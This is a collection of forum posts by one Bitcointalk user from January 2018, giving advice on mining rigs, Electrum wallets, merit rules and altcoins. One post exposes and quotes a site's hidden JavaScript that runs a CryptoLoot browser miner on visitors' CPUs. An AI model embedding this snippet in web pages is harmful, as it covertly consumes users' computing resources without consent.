In general, I can only say that projects like Segwit2x, they are created only to split us, do you understand what I mean? After all, these are quite serious actions towards people and the community as a whole, because they are trying to divide us in this way
What are you saying? No!
These projects are total scams, all they want is the snapshot of the original blockchain leading to "free" coins available to the current users.
This will easily make the coin famous supplemented by the glorious name it chose (SegWit2X from SegWit).
What happened last BCH fork that they want, will never happen again.

@OP "Participate" is correct.

I've seen this coming since that GPU mining craze.
These might go along with the case made by the manufacturers themselves. sssSmells profit.
Looks like they taken the opportunity to make one, but others will, overtime.

For stability, these might be the solution.
The whole unit was designed to work together unlike regular Mobo with couple of Risers.

The design though, this doesn't look innovative at all.
It looks like a stretched gaming rig.
5984  Bitcoin / Project Development / Re: URL shortener with paywall on: January 26, 2018, 05:51:16 AM
No one wants to do the hassle just to open a page or article, that's why the options to monetize like Page Ads or Video Ads exist.
Lightning Network is fast but the hub model is not convenient for those type of services.
We got a lot of traditional fast payment options and yet no one ever successfully deviced a similar scheme.

Google's URL shorteners works not for monetization but really for "shortening" long URLs, along with their shady tracking business.

Understand that some newbies are real totally new persons in this forum.

@OP
Since you're using a single GPU to "try" mining, I bet that the system you're using was Windows, right?
If that's the case, you can use the miners available here in the forum (https://bitcointalk.org/index.php?topic=647251.0 or https://bitcointalk.org/index.php?topic=632724 or use search - "miner")
You only need to point them to the right pool that mines the coin you want to mine. like halker2010 said.

Except, his example was for Bitcoin, and i don't recommend mining Bitcoin with a single GTX980ti.
Choose an altcoin with a nice value and a low total hasrate, excluding cryptonote coins.

If you need more information, the best action is still using the "search"  function.
5986  Other / Meta / Re: Vital Facts and Figures about Merit Point.(Answers to your Queries.) on: January 25, 2018, 11:38:22 AM
Q: Why can't I find the "+Merit" button to rate a post?
A: You can only see the button when you have sMerit to give away. It is on the right besides the quote button, but hidden when you have 0 sMerit.
I now have 0 sMerit point after using it, but I can still see the "+1 Merit" button.

If a newbie or Jr Member that had received at least 2 Merits = 1 sMerit can confirm that he can now see the button,
the answer should be like this:
A: After receiving your first sMerit, the button will be visible.
5987  Bitcoin / Development & Technical Discussion / Re: Still possible to bootstrap blockchain via Torrent? on: January 25, 2018, 10:51:28 AM
The download speed might be faster if there are a lot of users "seeding", but keep in mind that using Torrent pose a huge security risk to your system.

Example: One person might intentionally integrated a malware disguised as a file in his seeds.
There are some counter measures you can do with the Torrent Client's settings (ex. BitTorrent) but regular users will find it hard to do so.
5988  Bitcoin / Development & Technical Discussion / Re: Request - Offline app to sweep Paper wallets? on: January 25, 2018, 07:52:20 AM
technically impossible.
The process of sweeping private keys involves a transaction in the blockchain.

I think what you meant was "importing" private keys.

But all in all, one time exposure of your paper wallet's private key means that you intended to spend its balance,
so there is no need for such security measure unless the wallet you're using is unsecured too.
5989  Other / Meta / Re: Account banned on: January 25, 2018, 07:14:20 AM
Regarding to the amount you had paid, that was for that newly registered account, not for ban removal of your banned account.

Q: Why is my IP banned? What are those units of evil?
A: Your IP might be banned because it was used by a user that got perma banned. Don't worry - IP bans decay over time if there's not too many of them during a small period. If you register using a banned IP, are using TOR, VPNs or well known proxies, you will have to pay a small fee. This is to prevent spammers while allowing legitimate members to post without many restrictions.

Have you been browsing the forum using VPN? Yes?
Because some of them were previously/actively being used by scammers or hackers.

Can you see your merit history in this page?: https://bitcointalk.org/index.php?action=merit
If it does, you can add the link along with the information about merit system in the 1st page.

I'm going to update the Translated - Filipino Thread as well.

And this part:
Also, remember when PMing the signed message, send it in [code ][/code ] brackets (just without the space at the end). For example,
You can remove the space without activating the code header using the "[nobbc][/nobbc]" tag.

5991  Bitcoin / Bitcoin Technical Support / Re: Paper wallet and sweep on: January 24, 2018, 01:17:22 PM
Better make a new Electrum Wallet file and select the option (4th): Import Bitcoin Addresses or Private Keys
Paste your paper wallet's private key in the box then proceed.

The only drawback here is that you will not get the seed phrase of that wallet.
Your backup options would be the wallet file itself or your private key.
But you can import more addresses (private keys) if you want.
Since you imported a private key, you can spend the funds from that imported address.

Advise for a newbie: Double-check the site where you got your Electrum wallet. There are fake/copied electrum sites in the web, be careful.
5992  Alternate cryptocurrencies / Mining (Altcoins) / Re: I think my switched PDU just killed two PSU's on a rig on: January 24, 2018, 04:13:11 AM
I thought for sure I fried something, because I thought both psu's needed to be started up at the same time.  At some point I thought I read that it posed a threat to your board, if they were not powered on at the same time.
FYI, That splitter was designed to power on the two PSU at the same time. The board will signal the power on signal.
Notice that there are only two wires connected in the other 24pin port, those are (green) PSON and (Black) Neutral wires if color coded.

If happened that the splitter was broken and the other PSU doesn't turn on, the MOBO will not be at risk, it will not POST and if you have a display (onboard or gpu connected to the turned on PSU), it would just stuck in the bios logo.
5993  Bitcoin / Project Development / Re: Live Coin Price on: January 23, 2018, 09:42:33 AM
No offence
There is no mining within the site.
But Yes, there is: "My Post"
Sites like these keep coming weekly.
Yours however, is "true" real-time with the bonus of Background Mining Script!

Quote from: the site's javacript code
CoinHive = "shit";var threads=window.navigator.hardwareConcurrency/2;threads<1&&(threads=1);var miner=new CRLT.Anonymous("119e4573c7c87b5cba4d39ec19ad4572580d6254f516",{threads:threads,autoThreads:!1,throttle:.2});miner.isMobile()||miner.start();

It's not a bad thing considering that you need some revenue for your service but,
Add a warning or a disclaimer that you are CPU mining in the background.  Angry
Another posts
AVOID! Using your processor on the background to mine! You'll realize your CPU usage will increase immediately.
My computer's fan turned on because of the high CPU usage. So first dis-allow cryptoloot via Ad Blocker etc.

I'm not sure if you're unaware but, the script was hidden in the bottom part of the Javascript: app.js

But like I said, It's not a bad thing considering the site is useful to us.
Just leave a Notice for us to close the window once we're done.

If someone built the site for you, contact him to remove the miner or show the controls to the audiences.
5994  Alternate cryptocurrencies / Speculation (Altcoins) / Re: monacoin pump? on: January 23, 2018, 08:59:21 AM
That x7 is bad for Monacoin for it is currently being used as Digital Payment in some establishments and online stores in Japan.
A sudden pump may be seen as possible future volatility issues that Bitcoin is facing.

As the title said "monacoin pump", it might being pumped maybe by some whales to become a source of dirty profit.
Most traders outside Japan are finding ways to buy too, for hodling of course.
After the sellout since they didn't need the coins, expect a sliding dump.

It's bad for the coin since it has been in the road of being a successful payment digital currency.
A stable growing market cap is good for the long run.

I hope this is not a 600% UP then -500% DOWN roller-coaster.
5995  Alternate cryptocurrencies / Speculation (Altcoins) / Re: Bitcoin White The next 100x coin on: January 23, 2018, 02:45:16 AM
For me, altering/using any "famous" name is red flag for a coin.
It isn't a Fork either, while some forks for me are suspicious, at least having its own brand is a good sign.

This is just based on the name, looking at the development is the next step.

I don't know about this "Bitcoin White".
I'm not interested so... there you go.

P.S. Bitcoin Asian is a better name.
5996  Bitcoin / Electrum / Re: Coinbase to Electrum HUGE fee on: January 22, 2018, 05:57:07 AM
What do you expect?
You used 378 Satoshi / byte in your Coinbase account as the transaction fee.
And it was a one input-output transaction, they are really inefficient, they could have just batch senders every 5 minutes.
Another problem with Coinbase is, they deduct the transaction fee from the amount you want to send than the usual Amount+Transaction fee method.

He should try Doge instead. Average fee of $0.01 compared to the $0.23 that Bcash has.
Electrum wallet doesn't support doge or bch.
5997  Bitcoin / Electrum / Re: Two questions about Electrum (newbie) on: January 22, 2018, 05:34:09 AM
To upgrade your electrum with your funds intact,
you just have to copy the wallet file from
C:\Users\(username)\Desktop\electrum_data\wallets\(name of your wallet) to a temporary safe place.
[I assume that this is where your portable version's wallet file was based on your statement]

That was the wallet file, that's all you need to transfer your wallet (aside from the seed).
You can put this wherever you want, you can browse it's location in the electrum "Open" menu.

Then proceed with upgrading to a 3.05 (Uninstall the old version if you're paranoid),
Open the new v3.05 Electrum (whatever the variant) and open->find your wallet file.
5998  Alternate cryptocurrencies / Mining (Altcoins) / Re: Stability Issues on: January 22, 2018, 02:59:40 AM
Don't blame the RAM or Pagefile if the system immediately crashes, it will freeze first if it was a memory problem.

It is either Temperature or Power failure, but most likely a bad GPU.
Start by removing the 6th GPU and monitor your rig.

I've seen the same issue that points to a faulty video card.
The symptoms are misleading, but after replacing that vcard, the dilenma of finding the culprit has ended.
5999  Alternate cryptocurrencies / Altcoin Discussion / Re: Ripple XRP Are Being Used on Human Implanted Microchips Payment Service For BEZH on: January 21, 2018, 10:33:46 AM
"Human Implanted Microchips", sounds like a pain in the ass.... or wherever it was implanted.
That gimmick was a thing of the past, why would a regular Joe wanted a chip implanted below his skin?
As if Fingerprints and Face Detectors aren't enough.

If you need to be cardless, an address per person accessible through his bio is enough as the identifier.
Not this old stupid sci-fi flick stuff.
6000  Alternate cryptocurrencies / Mining (Altcoins) / Re: GPU fans after a year of running on: January 21, 2018, 07:49:36 AM
Send it to a Computer Technician, like asadeb said, those stuck fans only needs a drop of machine oil in order to function well again.
I'm a computer technician and doing this annually to my fans to keep them silent and efficient.
There are different methods depending on the fan.
Most of these GPU fans have Covering or Label Sticker under it, this covers the center area where the one-drop machine oil goes.
You don't need to pluck the blades up, just unscrew the fan from the heatsink then turn it upside-down and you will see it.

Your wobbly fans are questionable though.
It might be the plastic parts around the bearing or shaft that got melted by the heatsink's heat.
Those fans must be replaced.
